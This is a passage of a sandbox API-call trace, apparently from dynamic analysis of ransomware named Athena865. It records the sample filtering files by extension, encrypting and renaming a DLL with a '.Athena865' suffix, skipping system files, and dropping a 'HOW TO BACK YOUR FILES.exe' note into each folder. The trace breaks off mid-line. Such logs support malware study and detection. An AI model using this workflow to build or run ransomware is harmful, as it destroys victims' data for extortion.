[0064.367] lstrlenW (lpString="mrg") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0064.367] lstrlenW (lpString="mud") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0064.367] lstrlenW (lpString="mwb") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0064.367] lstrlenW (lpString="myd") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0064.367] lstrlenW (lpString="ndf") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0064.367] lstrlenW (lpString="nnt") returned 3 [0064.367] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0064.367] lstrlenW (lpString="nrmlib") returned 6 [0064.368] lstrcmpiW (lpString1="DR.DLL", lpString2="nrmlib") returned -1 [0064.368] lstrlenW (lpString="ns2") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0064.368] lstrlenW (lpString="ns3") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0064.368] lstrlenW (lpString="ns4") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0064.368] lstrlenW (lpString="nsf") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0064.368] lstrlenW (lpString="nv") returned 2 [0064.368] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0064.368] lstrlenW (lpString="nv2") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0064.368] lstrlenW (lpString="nwdb") returned 4 [0064.368] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0064.368] lstrlenW (lpString="nyf") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0064.368] lstrlenW (lpString="odb") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0064.368] lstrlenW (lpString="odb") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0064.368] lstrlenW (lpString="oqy") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0064.368] lstrlenW (lpString="ora") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0064.368] lstrlenW (lpString="orx") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0064.368] lstrlenW (lpString="owc") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0064.368] lstrlenW (lpString="p96") returned 3 [0064.368] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0064.368] lstrlenW (lpString="p97") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0064.369] lstrlenW (lpString="pan") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0064.369] lstrlenW (lpString="pdb") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0064.369] lstrlenW (lpString="pdm") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0064.369] lstrlenW (lpString="pnz") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0064.369] lstrlenW (lpString="qry") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0064.369] lstrlenW (lpString="qvd") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0064.369] lstrlenW (lpString="rbf") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0064.369] lstrlenW (lpString="rctd") returned 4 [0064.369] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0064.369] lstrlenW (lpString="rod") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0064.369] lstrlenW (lpString="rodx") returned 4 [0064.369] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0064.369] lstrlenW (lpString="rpd") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0064.369] lstrlenW (lpString="rsd") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0064.369] lstrlenW (lpString="sas7bdat") returned 8 [0064.369] lstrcmpiW (lpString1="DNDR.DLL", lpString2="sas7bdat") returned -1 [0064.369] lstrlenW (lpString="sbf") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0064.369] lstrlenW (lpString="scx") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0064.369] lstrlenW (lpString="sdb") returned 3 [0064.369] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0064.369] lstrlenW (lpString="sdc") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0064.370] lstrlenW (lpString="sdf") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0064.370] lstrlenW (lpString="sis") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0064.370] lstrlenW (lpString="spq") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0064.370] lstrlenW (lpString="te") returned 2 [0064.370] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0064.370] lstrlenW (lpString="teacher") returned 7 [0064.370] lstrcmpiW (lpString1="NDR.DLL", lpString2="teacher") returned -1 [0064.370] lstrlenW (lpString="tmd") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0064.370] lstrlenW (lpString="tps") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0064.370] lstrlenW (lpString="trc") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0064.370] lstrlenW (lpString="trc") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0064.370] lstrlenW (lpString="trm") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0064.370] lstrlenW (lpString="udb") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0064.370] lstrlenW (lpString="udl") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0064.370] lstrlenW (lpString="usr") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0064.370] lstrlenW (lpString="v12") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0064.370] lstrlenW (lpString="vis") returned 3 [0064.370] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0064.370] lstrlenW (lpString="vpd") returned 3 [0064.371] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0064.371] lstrlenW (lpString="vvv") returned 3 [0064.371] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0064.371] lstrlenW (lpString="wdb") returned 3 [0064.371] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0064.371] lstrlenW (lpString="wmdb") returned 4 [0064.371] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0064.371] lstrlenW (lpString="wrk") returned 3 [0064.371] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0064.371] lstrlenW (lpString="xdb") returned 3 [0064.371] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0064.371] lstrlenW (lpString="xld") returned 3 [0064.371] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0064.371] lstrlenW (lpString="xmlff") returned 5 [0064.371] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0064.371] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.Athena865") returned 61 [0064.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll"), lpNewFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.Athena865" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.athena865"), dwFlags=0x1) returned 1 [0064.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.DLL.Athena865" (normalized: "c:\\program files\\common files\\designer\\msaddndr.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0064.375] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=99136) returned 1 [0064.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0064.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0064.375] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0064.375] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519118) returned 1 [0064.376] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0064.376] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.376] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18640, lpName=0x0) returned 0x17c [0064.378] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18640) returned 0x100000 [0064.384] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519118) returned 1 [0064.384] CryptGenRandom (in: hProv=0x519118, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0064.384] CryptReleaseContext (hProv=0x519118, dwFlags=0x0) returned 1 [0064.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0064.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0064.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0064.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0064.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0064.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0064.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0064.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0064.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0064.385] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0064.386] CloseHandle (hObject=0x17c) returned 1 [0064.386] CloseHandle (hObject=0x154) returned 1 [0064.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0064.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0064.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0064.387] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6accc00, ftCreationTime.dwHighDateTime=0x1ca8d25, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6accc00, ftLastWriteTime.dwHighDateTime=0x1ca8d25, nFileSizeHigh=0x0, nFileSizeLow=0x18340, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSADDNDR.DLL", cAlternateFileName="")) returned 0 [0064.387] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0064.387] ReleaseMutex (hMutex=0xec) returned 1 [0064.387] CloseHandle (hObject=0xec) returned 1 [0064.387] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared" [0064.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b9b0 | out: hHeap=0x4f0000) returned 1 [0064.387] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f6a0 | out: hHeap=0x4f0000) returned 1 [0064.387] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared") returned 46 [0064.387] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3C8B740D6021B4D7565351A5DB2477A4") returned 0xec [0064.387] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0064.387] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared") returned="C:\\Program Files\\Common Files\\Microsoft Shared" [0064.387] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0064.387] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\how to back your files.exe"), bFailIfExists=1) returned 0 [0064.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0064.388] GetLastError () returned 0x0 [0064.388] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0064.388] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0064.388] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0064.389] CloseHandle (hObject=0xf4) returned 1 [0064.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0064.389] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0064.389] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd42b1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd42b1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0064.389] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.389] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.389] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0064.389] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbd42b1a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd42b1a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.389] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.389] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0064.389] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0064.389] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0064.389] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.390] lstrcmpiW (lpString1="DW", lpString2=".") returned 1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="..") returned 1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="windows") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="bootmgr") returned 1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="temp") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="pagefile.sys") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="boot") returned 1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="ids.txt") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="ntuser.dat") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="perflogs") returned -1 [0064.390] lstrcmpiW (lpString1="DW", lpString2="MSBuild") returned -1 [0064.390] lstrlenW (lpString="DW") returned 2 [0064.390] lstrcpyW (in: lpString1=0x241e8a6, lpString2="DW" | out: lpString1="DW") returned="DW" [0064.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f6a0 [0064.390] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52e200 [0064.390] lstrcatW (in: lpString1="DW", lpString2="\\" | out: lpString1="DW\\") returned="DW\\" [0064.390] lstrcatW (in: lpString1="DW\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DW\\HOW TO BACK YOUR FILES.exe") returned="DW\\HOW TO BACK YOUR FILES.exe" [0064.390] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.393] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2=".") returned 1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="..") returned 1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="windows") returned -1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="bootmgr") returned 1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="temp") returned -1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="pagefile.sys") returned -1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="boot") returned 1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="ids.txt") returned -1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="ntuser.dat") returned -1 [0064.393] lstrcmpiW (lpString1="EQUATION", lpString2="perflogs") returned -1 [0064.394] lstrcmpiW (lpString1="EQUATION", lpString2="MSBuild") returned -1 [0064.394] lstrlenW (lpString="EQUATION") returned 8 [0064.394] lstrcpyW (in: lpString1=0x241e8a6, lpString2="EQUATION" | out: lpString1="EQUATION") returned="EQUATION" [0064.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f688 [0064.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x70) returned 0x52de58 [0064.394] lstrcatW (in: lpString1="EQUATION", lpString2="\\" | out: lpString1="EQUATION\\") returned="EQUATION\\" [0064.394] lstrcatW (in: lpString1="EQUATION\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="EQUATION\\HOW TO BACK YOUR FILES.exe") returned="EQUATION\\HOW TO BACK YOUR FILES.exe" [0064.394] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.397] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2=".") returned 1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="..") returned 1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="windows") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="bootmgr") returned 1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="temp") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="pagefile.sys") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="boot") returned 1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="ids.txt") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="ntuser.dat") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="perflogs") returned -1 [0064.397] lstrcmpiW (lpString1="EURO", lpString2="MSBuild") returned -1 [0064.397] lstrlenW (lpString="EURO") returned 4 [0064.397] lstrcpyW (in: lpString1=0x241e8a6, lpString2="EURO" | out: lpString1="EURO") returned="EURO" [0064.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f670 [0064.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x68) returned 0x52e190 [0064.397] lstrcatW (in: lpString1="EURO", lpString2="\\" | out: lpString1="EURO\\") returned="EURO\\" [0064.397] lstrcatW (in: lpString1="EURO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="EURO\\HOW TO BACK YOUR FILES.exe") returned="EURO\\HOW TO BACK YOUR FILES.exe" [0064.397] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\euro\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.400] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2=".") returned 1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="..") returned 1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="windows") returned -1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="bootmgr") returned 1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="temp") returned -1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="pagefile.sys") returned -1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="boot") returned 1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="ids.txt") returned -1 [0064.400] lstrcmpiW (lpString1="Filters", lpString2="ntuser.dat") returned -1 [0064.401] lstrcmpiW (lpString1="Filters", lpString2="perflogs") returned -1 [0064.401] lstrcmpiW (lpString1="Filters", lpString2="MSBuild") returned -1 [0064.401] lstrlenW (lpString="Filters") returned 7 [0064.401] lstrcpyW (in: lpString1=0x241e8a6, lpString2="Filters" | out: lpString1="Filters") returned="Filters" [0064.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f658 [0064.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6e) returned 0x52ded0 [0064.401] lstrcatW (in: lpString1="Filters", lpString2="\\" | out: lpString1="Filters\\") returned="Filters\\" [0064.401] lstrcatW (in: lpString1="Filters\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Filters\\HOW TO BACK YOUR FILES.exe") returned="Filters\\HOW TO BACK YOUR FILES.exe" [0064.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\how to back your files.exe"), bFailIfExists=1) returned 1 [0064.404] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0064.404] lstrcmpiW (lpString1="GRPHFLT", lpString2="HOW TO BACK 